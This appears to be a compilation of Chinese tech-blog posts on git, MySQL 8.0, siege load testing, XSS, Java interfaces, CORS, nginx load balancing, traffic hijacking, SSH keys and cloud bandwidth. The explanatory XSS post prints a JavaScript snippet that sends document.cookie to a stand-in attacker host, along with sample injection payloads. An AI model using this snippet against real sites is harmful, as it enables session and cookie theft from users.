图示提交日志 git log --pretty=format:'%h %s' --graph # 文件中搜索文本“delete from” git grep "delete from" #查看本地分支 git branch #查看远程分支 git branch -a #创建本地分支 git branch 文件名 #查看当前版本号 git reset --hard HEAD #删除远程分支 git push origin:分支名 #查看分支关联 git branch -vv #知道文件是哪个分支拉取的 git remote -v在这里,8分钟的git部署流程 和 常用命令我们也就讲解完了。有一个小的个人建议,如果你对git 不熟悉 or 你是初学者,建议收藏此篇。因为在你需要的时候,可以通过此篇技术文章找到你所需要的点。小提醒:如有其它疑问&难点,可加入下方wechat技术群聊,进群提问你所遇到的问题点。————————end————————
“ 底部 DB引擎分类及排名,你用到的排名第几? ”Hello,大家好。我是公众号“八点半技术站”的小编-Bruce.D。今天是周四(2020-04-09),分享一句谚语 “一日无二晨,时过不再临” 。分享给大家的是 「MySQL 模块」- MySQL8.0 特性。在选择 MySQL 版本的时候,了解一下版本时间线的变化迁移也是有一定的帮助的。也算是一种 “怀旧”。今天我会分为3个模块,给大家讲解 MySQL 。 第一,mysql 的时间线演变之路; 第二,新 mysql 8.0 的一些特征变化; 第三,数据库 DB引擎分类及排名。01—MySQL 时间线mysql 版本版本时间版本3.232001 版本4.02003版本4.12005版本5.02006版本5.12008版本5.52010版本5.62012版本5.72015版本8.0201802—MySQL 8.0 特性这里我会把 MySQL8.0 的特性进行拆分,结合官方 与 自己的思想 整体讲解给大家。我认为,如果你对 MySQL 感兴趣,不妨静下心来,花费几分钟看看新特性,会有一定收获的。(哪怕面试中,如果聊到MySQL ,你完全可以跟他聊聊你对 MySQL 8 的一个了解,让面试官对你也有一个不同的看法。说实在的,不是所有面试官技术深度那么广。你懂~~~)1. 官方表示 MySQL8 要比 MySQL5.7 快 2 倍。可怕,这可是 2 倍之差,相当于性能改进更快。 2. 从 MySQL 5.7 升级到 MySQL 8.0 仅支持通过使用 in-place 方式进行升级,并且不支持从 MySQL 8.0 降级到 MySQL 5.7(或从某个 MySQL 8.0 版本降级到任意一个更早的 MySQL 8.0 版本)。唯一受支持的替代方案是在升级之前对数据进行备份。3. 从 MySQL 8.0 开始,新增了一个叫窗口函数的概念,它可以用来实现若干新的查询方式。窗口函数与 SUM()、COUNT() 这种集合函数类似,但它不会将多行查询结果合并为一行,而是将结果放回多行当中。即窗口函数不需要 GROUP BY。4. 在 MySQL 8.0 中,索引可以被“隐藏”和“显示”。当对索引进行隐藏时,它不会被查询优化器所使用。我们可以使用这个特性用于性能调试,例如我们先隐藏一个索引,然后观察其对数据库的影响。如果数据库性能有所下降,说明这个索引是有用的,然后将其“恢复显示”即可;如果数据库性能看不出变化,说明这个索引是多余的,可以考虑删掉。5. MySQL 8.0为索引提供了降序支持。此类索引中的值以降序排列,我们将其向前扫描。在8.0之前的版本中,当用户创建降序索引时,我们创建了一个升序索引并向后扫描。好处之一是,前向索引扫描比后向索引扫描更快。6. 从 MySQL 8 开始,使用 utf8mb4 作为 MySQL 的默认字符集。7. MySQL 8.0添加了新的JSON函数,并提高了对JSON值进行排序和分组的性能。8. MySQL 8.0添加了JSON表功能,该功能允许使用SQL机制处理JSON数据。 JSON_TABLE() 创建JSON数据的关系视图。它将JSON数据评估的结果映射到关系行和列中。用户可以使用SQL将函数返回的结果查询为常规关系表,例如联接,项目和聚合。9. MySQL 8.0添加了聚合函数 JSON_ARRAYAGG() 来生成JSON数组,并添加了 JSON_OBJECTAGG() 来生成JSON对象。这样就可以将多行中的JSON文档组合到JSON数组或JSON对象中。10. 所述 JSON_MERGE_PATCH() 由指定的功能的JavaScript工具(和其他脚本语言)的语义 RFC7396,即,其由所述第二文档的优先级删除重复。例如,JSON_MERGE('{“ a”:1,“ b”:2}','{“ a”:3,“ c”:4}'); #返回{“ a”:3,“ b”:2,“ c”:4}。更多详细参照,mysql 官方网站,如下链接:https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-11.html03—DB 引擎分类/排名数据库,它的类型其实有很多种,我们一般常用且脱口而出的有 MySQL、nosql、MongoDB ......等等一系列。那大家有过了解大约有多少种吗?以及他们的一个排名趋势。数据库种类目前根据某官方数据统计,种类有 342 种 。那么我就截取 4月份排名前30 的数据库分享给大家。如下图:编辑————————end————————
“ API 性能压测、简单/高效”Hello,大家好。我是公众号“八点半技术站”的小编-Bruce.D。今天是周二(2020-04-14),分享一句谚语 “积累知识、胜过积蓄金银” 。分享给大家的是 「工具 模块」- siege API 性能测试。目前小编在业余时间开发一款PHP开源框架 - (BDB-frame)。各位放心,实战、实用的技术干货也不会中断,在这里希望能帮助到大家。也感谢大家的支持。01—2分钟快速/准确/安装步骤今天在这里我会分享给大家一款超实用工具-siege 。它是用来对我们写的API 接口做性能测试的。为什么嘛推荐siege ,因为它整体安装步骤简单 - 返回参数详细 - 上手快。有兴趣的朋友,可以根据此文操作操作,如果途中遇到问题(几乎不会),可以加入wechat 技术交流群(文章底部),进行提问解答。第一步:下载siege的安装包,我用的是siege-4.0.4.tar.gz 版本的。下载地址:http://download.joedog.org/siege/第二步:将刚才下载下来的安装包,上传到服务器,记得解压哈第三步:我们进入解压好的目录cd siege-4.0.4.tar.gz然后我们执行./configure继续执行make第四步:这就是最后,执行完下述步骤全部也就完成了。make install大家看到,我拆分的 4 步法,还认为难吗?如果还有问题没关系,加技术群提问即可。02—参数相关说明第二部分就是会告诉大家参数的相关说明,在我们使用siege的时候,参数我们可以自行选择,包括压测后的一个参数介绍。总结就是:传入参数 - 简单。返回参数 - 明了。输入参数: 参数名称 参数说明-V,-version打印相关版本信息-h,-help打印相关帮助信息-C,-config显示相关配置信息-g,-get显示HTTP交易-c,-concurrent设置并发用户数-u,-url="URL"设置被测web的URL-t,-time=NUM设置测试时间-r,-reps=NUM设置测试次数-f,-file=FILE更改配置文件存档-d,-delay=NUM设置时间延迟-l,-log测试日志-H,-header="text"增加测试头文件-A,-user-agent="text"设置代理测试请求返回参数说明:编辑这些参数分别代表: 返回参数名称 说明Transactions访问次数Availability成功次数Elapsed time测试用时Data transferred测试传输数据量Response time平均响应时间Transaction rate每秒事务处理量Throughput吞吐率Concurrency并发用户数Successful transactions成功传输次数Failed transactions失败传输次数Longest transaction最长响应时间Shortest transaction最短响应时间03—使用方法案例第一种 - get 方式:参数说明:-c 是并发量,并发数为100,-r 是重复次数,重复6次,-l 是日志,将结果输出一份到日志(日志查看可以看配置目录默认指向地址)。siege -c 100 -r 6 -l https://www.xxx.com其他参数根据自己压测需求进行添加。第二种 - post 方式:参数说明:如果你们的请求参数是json串的话,需要把请求参数改成 一个以 <./postfile.json 的文件,简单来讲就是 一个后缀是 .json 的文件 siege -c 200 -t 10s -b 'http://172.81.208.169:8282/v1/api/ad POST <./postfile.json'注意:还有一个小坑,比如post请求,json串,某些时候需要加请求头,那你 比如看上面参数 -H 后面跟信息,等等一系列。到这里也就结束了、如果你有疑问,欢迎进入wechat技术群交流群。在可以的前提下,关注一波公众号【八点半技术站】,也是我坚持的一种动力,谢谢。————————end————————恭喜你,又看完了一篇文章。在这里,也希望你看完的每篇文章都能对自己有所提升(哪怕是帮助你再次巩固记忆)。欢迎在wechat技术群一起交流成长(xzzs730)。
XSS又称CSS,全称Cross SiteScript ;跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式;原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.如:盗取用户Cookie、破坏页面结构、重定向到其它网站等。根据XSS攻击的效果可以分为几种类型第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。如:点击恶意链接。第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA(应用管理系统)系统,和CRM(客户管理系统)系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。当用户访问输出该数据的页面时,就会促发XSS攻击。具有很强的稳定性。XSS 条件和攻击类型攻击的条件实施XSS攻击需要具备两个条件:一、需要向web页面注入恶意代码;二、这些恶意代码能够被浏览器成功的执行。看看常见的恶意字符XSS 输入:1.XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框:<script>alert("XSS");</script>2.XSS 输入也可能是 HTML 代码段,譬如:(1).网页不停地刷新 <meta http-equiv="refresh" content="0;">(2).嵌入其它网站的链接 <iframe src=http://xxxx width=250 height=250></iframe>XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。xss攻击流程XSS其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,数据流程如下:攻击者的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。编辑XSS攻击能做些什么1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:var i=document.createElement("img");document.body.appendChild(i);i.src = "http://www.hackerserver.com/?c=" + document.cookie;2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。3.前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播。XSS攻击防御一、输出检查根据XSS攻击的条件,我们可以对用户输出进行检查,使用系统的安全函数进行转义将数据和代码分开,根据不同的场景使用正确的安全函数,否则效果适得其反。二、输入检查通常用于检测用户输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等;输入检查必须在服务端进行;当然为了提高用户体验和减轻服务端的资源客户端也要进行一次检查,但服务端检查始终是必须的,有个别程序员却调过来了认为客户端检查是必须的,服务端检查是可选的,其实这是错误的逻辑,因为客户端很容易被黑客绕过。三、转换为安全的类型类型检查或者类型转换到安全的类型,比如:int,float,枚举类型等等,如在前面一个例子中将id转换为int类型即可<div><img src="/images/handler.ashx?id=<%= int.Parse(Request.QueryString["id"]) %>" /></div>$aa = 'xxxxx'; (int)$aa;四、智能过滤恶意代码通过正确的输出检查我们能够将数据安全的输出到浏览器中,但有些时候会带来不好的用户体验,当用户通过html编辑器提交的数据显然这个肯定不是用户想要的展示结果,所以我们要对这种富文本进行过滤,把恶意代码摘除;如一些敏感关键字:javascript、vbscript,<script>等等,那么是不是把这些关键词摘除掉就高枕无忧了呢?答案是否定的。五、利用php htmlentities()函数php防止XSS跨站脚本攻击的方法:是针对非法的HTML代码包括单双引号等,使用htmlspecialchars()函数。在使用htmlspecialchars()函数的时候注意第二个参数, 直接用htmlspecialchars($string)的话,第二个参数默认是ENT_COMPAT,函数默认只是转化双引号("),不对单引号(')做转义。所以,htmlspecialchars()函数更多的时候要加上第二个参数,应该这样用: htmlspecialchars($string,ENT_QUOTES)。当然,如果需要不转化如何的引号,用htmlspecialchars($string,ENT_NOQUOTES)。另外,尽量少用htmlentities(), 在全部英文的时候htmlentities()和htmlspecialchars()没有区别,都可以达到目的。但是,中文情况下, htmlentities()却会转化所有的html代码,连同里面的它无法识别的中文字符也给转化了。htmlentities()和htmlspecialchars()这两个函数对单引号(')之类的字符串支持不好,都不能转化, 所以用htmlentities()和htmlspecialchars()转化的字符串只能防止XSS攻击,不能防止SQL注入攻击。所有有打印的语句如echo,print等,在打印前都要使用htmlentities()进行过滤,这样可以防止XSS,注意中文要写出htmlentities($name,ENT_NOQUOTES,GB2312)。
前言抽象类(abstract class)和接口(Interface)是Java语言中对于抽象类定义进行支持的两种机制,赋予了Java强大的面向对象能力。二者具有很大的相似性,甚至可以相互替换,因此很多开发者在进行抽象类定义时对于abstractclass和Interface的选择显得比较随意。其实,两者之间还是有很大的区别的。本文将对它们之间的区别进行剖析,并提供一个在二者之间进行选择的依据。抽象类是什么?本文中的抽象类表示的是一个抽象体,并非直接从abstract class翻译而来,而abstract class仅仅是Java语言中用于定义抽象类的一种方法,请读者注意区分)在面向对象的概念中,所有的对象都是通过类来描绘的,但是并不是所有的类都是用来描绘对象的,如果一个类中没有包含足够的信息来描绘一个具体的对象,这样的类就是抽象类。抽象类的定义是对一系列看上去不同,但是本质上相同的具体概念的抽象,往往用来表征我们在对问题进行分析、设计中得出的抽象概念比如:如果我们进行一个图形编辑软件的开发,就会发现问题领域存在着圆、三角形这样一些具体概念,它们是不同的,但是它们本质上又都属于这样一个概念:形状,形状这个概念在问题领域是不存在的,所以形状就是一个圆形、三角形的抽象类。正是因为抽象的概念在问题领域没有对应的具体概念,所以用以表征抽象概念的抽象类是不能实例化的。为什么要有抽象类?用于类型隐藏在面向对象领域,抽象类主要用来进行类型隐藏。我们可以构造出一个固定的一组行为的抽象描述,但是这组行为却能够有任意个可能的具体实现方式。这个抽象描述就是抽象类。用于拓展对象的行为功能这一组任意个可能的具体实现则表现为所有可能的派生类(子类),模块可以操作一个抽象体。由于模块依赖于一个固定的抽象体,因此它可以是不允许修改的;同时,通过从这个抽象体派生,也可扩展此模块的行为功能。如何进行抽象类的定义?抽象类(abstract class)和接口(Interface)在Java语言中都是用来进行抽象类定义的两种主要方法抽象类(abstract class)定义:包含抽象方法的的类是abstract class用abstract关键字修饰作用:abstractclass是为了把相同的东西提取出来,即重用使用abstractclass语法规定语法备注抽象类定义用abstract关键字修饰要通过子类进行实例化抽象类是不能被实例化的要通过子类进行实例化子类必须重写父类的所有抽象方法抽象方法:声明但却未被实现的方法,用abstract关键字修饰含有抽象方法的类一定是抽象类,但是抽象类不一定含有抽象方法无抽象类是用来被它的子类继承的关键字extends抽象类是在功能上的一个规定无Interface定义:比abstract class更加抽象,是一种特殊的abstract class用Interface关键字修饰作用:Interface是为了把程序模块进行固化的契约,是为了降低偶合使用Interface的语法规定语法备注接口定义用Interface关键字修饰接口中的所有方法都是抽象的可以用abstract修饰,也可以省略接口中的方法必须是用public修饰,或不写但是不能被其他修饰符修饰接口中的属性必须是全局常量publicstaticfinal修饰抽象类是用来被它的子类实现的关键字Implements抽象类是在结构上的一个规定无接口不能被实例化无子类实现接口时需要实现接口中的所有方法若有一个未不实现,该子类就是抽象类abstractclass实例下面以定义一个名为Demo的抽象类为例来说明这种不同。使用abstract class的方式定义Demo抽象类:abstract classDemo{ abstract void method1(); abstract avoid method2();}使用interface的方式定义Demo抽象类:interface Demo{ void method1(); void method2();}二者的相同点都不能被实例化二者的区别类型abstract classInterface定义abstract class关键字Interface关键字继承抽象类可以继承一个类和实现多个接口;子类只可以继承一个抽象类接口只可以继承接口(一个或多个);子类可以实现多个接口访问修饰符抽象方法可以有public、protected和default这些修饰符接口方法默认修饰符是public。你不可以使用其它修饰符方法实现可定义构造方法,可以有抽象方法和具体方法接口完全是抽象的,没构造方法,且方法都是抽象的,不存在方法的实现实现方式子类使用extends关键字来继承抽象类。如果子类不是抽象类的话,它需要提供抽象类中所有声明的方法的实现子类使用关键字implements来实现接口。它需要提供接口中所有声明的方法的实现作用了把相同的东西提取出来,即重用为了把程序模块进行固化的契约,是为了降低偶合
什么是跨域,如何解决跨域? 跨域指的是浏览器不能执行其他网站的脚本。他是由于浏览器的同源策略造成的。是浏览器对javascript施加的安全机制。一句话就明白 是不是好舒服~~~~~~但是跨域中有也有一些常见的几个问题,接下来给大家简单讲解说说~~~首先讲之前 我在补充一点知识,有利用理解。如下:header相关的几个概念CORS: 跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP头来告诉浏览器 让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。origin: web的origin 被定义为由协议,域和端口组成的 URL访问。仅当协议,域和端口全部匹配,两对象才具有相同的origin。一般我们会排查cors场景:第一种:未配置 Access-Control-Allow-Origin编辑解决方法: 在域为foo1.example.com 的虚拟主机添加 Access-Control-Allow-Origin 值为http://foo2.example.com。编辑第二种:跨域访问编辑解决方法:请注意观察上述报错, Access-Control-Allow-Origin 已经至少有一个值为http://foo2.example.com 的设定。所以现在配置一个允许多源访问的配置。编辑第三种:Access-Control-Allow-Headers 中首部缺失编辑解决方法: 遇到这一类的问题时,需要仔细阅读报错,在报错里面基本已经写明了答案。例如上面的这个报错信息。域foo2.example.com 请求域foo1.example.com 时,因首部cookies 未包含在 Access-Control-Allow-Headers 中,所以foo1无法响应客户端请求。并且这一类问题可能同时会出现几个首部缺失的请求,但是报错是单个出现,所以呢,要仔细阅读错误。下面也是其中一个报错编辑编辑欢迎各位交流群主每日会精选一至二篇技术文章发布在微信群,提供给各位交流探讨与学习。考虑到群内讨论内容会导致消息被顶,因此我每天会将分享的内容放在GitHub, 方便后进来的成员以及在线成员查找历史记录,而不需要翻聊天记录。链接:微信技术分享记录 https://github.com/gtcarry888/WeChat-Sharing-record原则:群内禁止鄙视、讽刺等任何初学者,否则直接踢群,禁止任何业余广告推广。群主的Wechat:xzzs730(标注来意)
喜欢就 关注 我们吧!概述 : Wo - 公号「八点半技术站」的创作者 - Bruce.D (姓氏:豆)。今日主题:负载均衡的部署,通过创建后端集群,分担每一台服务器的压力,能够实现大量的请求处理。即使某一台挂掉,也不会有什么太大影响。(本篇阅读预计花费:4分钟)欢迎各位加入社群,技术交流不分语言、不分高低 。内容 :分成3个模块点讲解给各位、通俗易懂:负载均衡定义反向代理定义反向代理实战负载均衡定义:负载平衡(Load balancing)是一种计算机技术,用来在多个计算机(计算机集群)、网络连接、CPU、磁盘驱动器或其他资源中分配负载,以达到最优化资源使用、最大化吞吐率、最小化响应时间、同时避免过载的目的。使用带有负载平衡的多个服务器组件,取代单一的组件,可以通过冗余提高可靠性。负载平衡服务通常是由专用软件和硬件来完成。 主要作用是将大量作业合理地分摊到多个操作单元上进行执行,用于解决互联网架构中的高并发和高可用的问题。反向代理定义:反向代理在计算机网络中是代理服务器的一种。用户不直接请求服务器,而是请求反向代理服务器,再由反向代理服务器转发请求到其他服务器。客户端只知道反向代理的 IP 地址,而不知道在代理服务器后面的服务器集群的存在。反向代理是实现负载均衡的一种方式。反向代理的作用:复用 DNS 查询加密和 SSL 加速负载均衡缓存静态资源压缩减速上传安全外网发布反向代理实战:接下来我们使用 nginx 配置一个反向代理。worker_processes 4;events{ worker_connections 1024;}http{ # 定义负载均衡设备的 ip 及设备状态 upstream firsttest { ip_hash; # 可选。每个请求按访问 ip 的 hash 结果分配,这样每个访客固定访问一个后端服务器,可以解决 session 的问题。 server 111.13.103.91 weight=3; # 设置权重为3,他被请求的概率是 3 / 4 = 75%。 server 111.13.179.222; server 111.13.179.333 down; # 表示当前的 server 暂时不参与负载。 server 111.13.179.444 backup; # 其它所有的非 backup 机器 down 或者忙的时候,才会被请求。 server 111.13.179.555; } server{ listen 8080; # 匹配根路由,然后代理到 firsttest 网络上。 location / { proxy_pass http://firsttest; } }}总结:小知识:反向代理和正向代理正向代理,服务器端无感知,因为服务器始终只和代理服务器通信,并不知道代理服务器还会向其他端转发信息。反向代理,客户端无感知,因为客户端始终只和代理服务器通信,并不知道代理服务器还会将请求转发到其他的服务器。
喜欢就 关注 我们吧!概述 : Wo - 公号「八点半技术站」的创作者 - Bruce.D (姓氏:豆)。今日主题:流量劫持、大家经常会看到公司的一些首页被插入一些小广告,这也就是流量劫持,今儿分享一下当前劫持的几个方法以及防劫持知识。欢迎各位加入社群,技术交流不分语言、不分高低 。(本篇阅读预计花费:7分钟)内容 :流量劫持划分成3大部分:DNS劫持、数据劫持、劫持监控。DNS劫持:首先聊聊这个,域名劫持是互联网一种攻击方式,通过攻击 DNS服务器 或者 伪造DNS 服务器方法,把目标服务器网站域名解析到错误地方,让用户无法正常访问真正的地址。这里提问一个问题:那么 DNS是如何工作的呢?客户端访问服务端的时候,首先要根据域名获取对应的IP地址,这一步要在 DNS服务器进行获取。请求DNS服务器的时候,需要通过UDP协议去寻找当地网络的运营商提供的公共域名服务器中查找IP。如果没有找到,就会继续请求上级域名服务器进行处理,一直到返回IP为止。域名劫持,即使是在请求 DNS解析域名时候出现的问题,目标域名被恶意解析到其他IP地址,造成用户无法正常使用服务。为了减少 DNS 查询时间,HTTP协议栈中会缓存域名解析:浏览器可能会缓存域名解析。用户系统中的域名映射表(hosts)会缓存域名解析。公共域名服务器通常由 ISP(互联网服务商)提供。公共域名服务器会缓存上一级域名服务器的结果。公共域名服务器 TTL 到期后,会向顶级域名服务器获取信息。那么再提一个问题:如何污染 DNS?常见的污染 DNS 方式有:篡改 Hosts 文件;污染中间链路设备(路由器等);修改 UDP内容,影响 DNS查询的结果;入侵 DNS服务器(成本高)。那么再提一个问题:如何抵御 DNS 劫持?解决域名劫持的一个办法就是绕开安全性较差的 UDP协议,通过一个可信的源头来解析域名,解析方式不需要拘泥于 UDP协议,也可以通过 HTTP方式。在 TLS 协议之上传输 DNS内容;用 HTTP协议来传输 DNS; 用 HTTPS协议来传输 DNS;使用自己维护的 DNS服务器(成本高)。数据劫持:接下来聊聊数据劫持,数据劫持最基本针对明文传输的内容发生。用户发起 HTTP请求,服务器返回页面时候,经过中间的运营商网络,页面内容的篡改或者内容加塞,强行插入弹窗或者广告。那么问题又来了:如何抵御数据劫持?目前行业内解决的办法是对内容进行 HTTPS加密,实现密文传输,彻底避免劫持问题。MD5校验同样能起到防止数据劫持的作用,MD5校验是指内容返回前,应用层对返回的数据进行校验,生成校验值。同时内容接收方接收到内容后,也对内容进行校验,同样生成校验值,将这俩个校验值进行对比,倘若一致,则证明判断数据无劫持。注意:HTTPS 也能被运营商劫持1、伪造证书,通过病毒或者其他方式将伪造证书的根证书安装在用户系统中(较少)。2、代理也有客户的证书与私钥,或者客户端与代理认证的时候不校验合法性,即可通过代理来与我们服务端进行数据交互(较多)。下面说几款方法对数据劫持起到监控作用,但是并不能对劫持后的页面进行修复。Content-Security-Policy (CSP) 实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。指定每种资源类型可以加载执⾏的条件。还可以防御 XSS 攻击。也可以⽤于强迫资源使用 HTTPS 加载,降低劫持可能性。两种方式开启 CSP:// 通过 http 头信息 Content-Security-Policy: default-src https:// 通过 meta 标签 <meta http-equiv="Content-Security-Policy" content="default-src https:" />缺点:由于 CSP 标识本身存在于 HTML 标签或者 HTTP 请求头中,可以被攻击者可以直接移除掉。规则⽐较复杂。影响动态创建脚本的使⽤。Subresource Integrity (SRI)将使用 base64 编码过后的文件哈希值写入你所引用的 <script> 或 <link> 标签的 integrity 属性值中即可启用子资源完整性功能。如果校验不成功,则不会执行对应的 script 或 link 内容。<script crossorigin="anonymous" integrity=“sha256-+Ec97...E=“ src=“https://a.com"></script>缺点:由于 SRI 标识 本身存在于 HTML 标签中,可以被攻击者可以直接移除掉。影响动态创建脚本的使⽤。校验失败时影响可⽤性。兼容性有限,iOS Safari 不支持劫持监控:此方案参考了美团点评 2018 前端分享上的防治方案。⽅案 A:在某些省份、地区⾃建监测站,定期抓取固定资源(资源太固定,监测站数量也远远不够)。⽅案 B:业务⽅在⾃己的 HTML 中监听资源的 Error 事件(⽆法确认问题在于劫持,也可能只是普通的 JS 出错)。⽅案 C:使⽤用第三⽅方企业服务进⾏监控(服务越多成本越⾼)。⽅案 D:CSP、SRI(兼容性和灵活性差,⽆法进行⾃定义逻辑)。上述方案可以看出,无论哪种方案,都有它的不足,于是搭建了下图的方案:优势如下:监控的级别是业务级甚至页面级,而不是某个固定的资源。在业务方的 Node.js 中内置逻辑,给予了业务方自己进行降级和响应的能力。监控层如果出现故障,不影响业务方的代码执行。总结:DNS 劫持是属于违法行为,已经在严厉打击,为了我们干净安全的上网浏览环境,我们也要做好一系列预防措施。
喜欢就 关注 我们吧!概述 : Wo - 公号「八点半技术站」的创作者 - Bruce.D (姓氏:豆)。今日主题:教你 Linux免密登录配置实战教程,配置好后,可以直接通过ssh + 服务器名 就能连接到远程计算机。欢迎各位加入社群,技术交流不分语言、不分高低 。(本篇阅读预计花费:4分钟)内容 :这篇再来一个实战内容 - 免密登录,配置ok后,就可以直接通过 ssh+服务器名 就能连接到我们远程服务器了。内容主要分为俩个部分:基本配置 、进阶配置基本配置:1、生成秘钥cd ~/.ssh/ssh-keygen -t rsa -C "my_name" -f "my_key"# 这一步会生成 my_key.pub(公钥) my_key(私钥)2、将公钥放在目标服务器上scp ./my_key.pub root@192.168.1.1:/root/.ssh/# 这里使用 scp 命令远程复制公钥# 注意要存放在登录用户所在目录的 .ssh 文件夹里,# 这里使用 root 用户登录,故存在 root 用户的用户目录3、将公钥存放进目标服务器 authorized_keys 里cat my_key.pub >> authorized_keys4、使用免密登录ssh -i ~/.ssh/my_key root@192.168.1.1# -i 指定私钥的路径Q:基本配置已经完成了,但每次连接都得手动指定本机的私钥地址,能不能省略这一步?A:可以的,查看下面进阶配置。进阶配置:在进阶配置中,我们要配置本地的 .ssh 下的 config 文件,实现自动登录,而不需要手动指定私钥的地址。1、进入 config配置文件cd ~/.ssh/vi config2、编辑 config配置文件User rootHost aliyunHostName 192.168.1.1Port 22StrictHostKeyChecking noIdentityFile ~/.ssh/my_keyIdentitiesOnly yesProtocol 2Compression yesServerAliveInterval 60ServerAliveCountMax 20LogLevel INFO3、配置完成、体验一下吧~~~ssh aliyun4、配置多个服务器登录Host aliyun User root HostName 192.192.192.22 Port 22 StrictHostKeyChecking no IdentityFile ~/.ssh/my_key IdentitiesOnly yes Protocol 2 Compression yes ServerAliveInterval 60 ServerAliveCountMax 20 LogLevel INFOHost fanqiang User root HostName 192.192.192.23 Port 22 StrictHostKeyChecking no IdentityFile ~/.ssh/my_key IdentitiesOnly yes Protocol 2 Compression yes ServerAliveInterval 60 ServerAliveCountMax 20 LogLevel INFO5、使用免密登录ssh aliyunssh fanqiang注意:文章中的 IP地址是为了演示,具体的 IP 需要根据服务器真实 IP来定。总结:恭喜你、又读完了一篇文章,通过手把手的教程,教会你如何通过 ssh+服务器名 进行登录,学会了么~~~想了解什么欢迎留言。
喜欢就 关注 我们吧!概述 : Wo - 公号「八点半技术站」的创作者 - Bruce.D (姓氏:豆)。今日主题:告知你云服务器带宽1M/3M/5M区别到底在哪里?该如何选择?欢迎各位加入社群,技术交流不分语言、不分高低 。(本篇阅读预计花费:4分钟)小喇叭:::各位好久不见,仔细一算有 3 个月没跟大家分享干货了,在社群看到大家技术沟通火热,因为太忙(公司事、创业事、兼职事)没时间插话,感谢一路支持的技术铁粉与志同道合的好友。欢迎各位大佬、小白在社群技术沟通,心得探讨与干货分享,快到年底了,我决定必须给大家群内准备几波福利~~~欧力给文章底部会有【福利领取方式】,欢迎来撩~~~内容 :这我们平时呢,云服务器带宽也就是 1M ~ 5M 这个范围内的。那么这些带宽作为用户的我们如何选择?判断依据是什么?今天 Bruce.D 给大家来一波分享,别问为什么,就是 “干”......想要理解不同宽带的区别,先来了解一下概念。云服务带宽是从服务器角度说明的。包括入网带宽 和 出网带宽 俩种。一、入网带宽就是流入云服务器的带宽,也就入站带宽。从云服务内部网络下载外部网络资源,或者从客户端 FTP等方式上传到云服务器内部,统一也都是入网带宽。比如:使用命令从外部下载LNMP包、宝塔面板的环境部署到服务器内部等等。这个下载速度最大也就是 100M 带宽的下载的值了。(例如:光纤网络是100带宽,理论下载速度是12.5M/S,实际下载速度大概10M/S,二者近类似)上次与阿里的客服沟通,问了问 1M/3M/5M/10M 这些,他的带宽入站带宽都是100M,所以说入网宽带来看,没啥区别。二、出网带宽流出云服务器的带宽,也叫出站带宽。从云服务器对外提供的资源,或者用FTP 外部工具下载服务器内部资源等等都是出网带宽。云服务器出网带宽就是购买带宽值。这也就是我们平时选购服务器时候,提到的带宽 1M/3M/5M/10M ,说的就是出站带宽,也就是这里的区别是不同的。比如说:你购买的阿里云服务器带宽 1Mbps,意思是用户访问你服务器的网站,用户请求到达服务器的这部分流量是免费的,公网带宽是100Mbps;然后服务器返回用户需要的数据,并传输给用户,这部分就是出带宽,限制是 1Mbps。三、云服务器带宽和下载速度首先我们需要知道的是他的公式,如下计算公式:带宽*1024 / 8 = 理论下载速度br也就是1M 公网带宽的理论下载速度是 128 k/s,而我们平时使用时大概在 120k/s。2M/3M/5M 公网带宽的理论下载速度分别是 256 k/s,384 k/s,640 k/s。可见带宽越大,每秒可下载数据量越大,允许客户同时访问的能力也越强。比如 https://www.vpsss.net/131355.html 这个页面的大小是 128K,如果需要一个客户一秒内打开这个页面(打开页面的过程其实就是页面从云服务器完全下载到访客本地电脑的过程),那么 1M 带宽要用时 1 秒钟以上才能打开。因为 1M 带宽的理论传输速度是128KB/s,实际使用时很少达到这个数值;如果同时两个用户打开,就分别需要 2 秒钟时间才能完全打开这个页面。如果要求 2 个用户在 1 秒内同时打开页面(用户体验度好),就要提高到 2M 带宽。以上的解释希望大家明白是什么意思。成本和可用性(用户体验)是相互的关系,高可用性就意味着消耗更高成本,低成本就意味着要以牺牲一部分用户体验度为代价。在实际使用中每天 1000PV~3000PV 访问量的业务,出现同时并发打开页面的时候较少。从百度统计的实时访客结果页面,能够看到每分钟访客数量及详细情况,就说明了这个问题。反之如果业务访问量超过了 5000PV,从统计结果看到每分钟访问人数和 PV 